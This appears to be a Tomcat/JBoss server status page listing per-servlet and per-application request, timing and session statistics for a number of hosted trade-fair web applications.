Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

MBeans

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 10 s Max time: 2094 ms Request count: 622 Error count: 2 Load time: 0 ms Classloading time: 0 ms

AOPFolder

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

Create Threshold Monitor [ /CreateThresholdMonitor ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 16 ms

HTTP Invocation [ /Invoker/* ]

Processing time: 53 s Max time: 9908 ms Request count: 45 Error count: 0 Load time: 15 ms Classloading time: 15 ms

localhost/vinoelitepro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2205 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/qualimetricspro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 469 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/actividadesgastronomapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 360 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/textilhogarpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 16 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 0 ms

localhost/automovilpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 750 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/maderaliapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 31 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fiampro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 281 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fimmapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1749 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/sifpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 625 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/joyeriapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2235 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/tcvpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1126 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/iberflorapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/planetnightpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 922 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/interalimedpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/utilities

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 15 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/regalopro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1062 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/feriapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1204 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/salonnauticopro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1016 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/intermusicpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1392 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms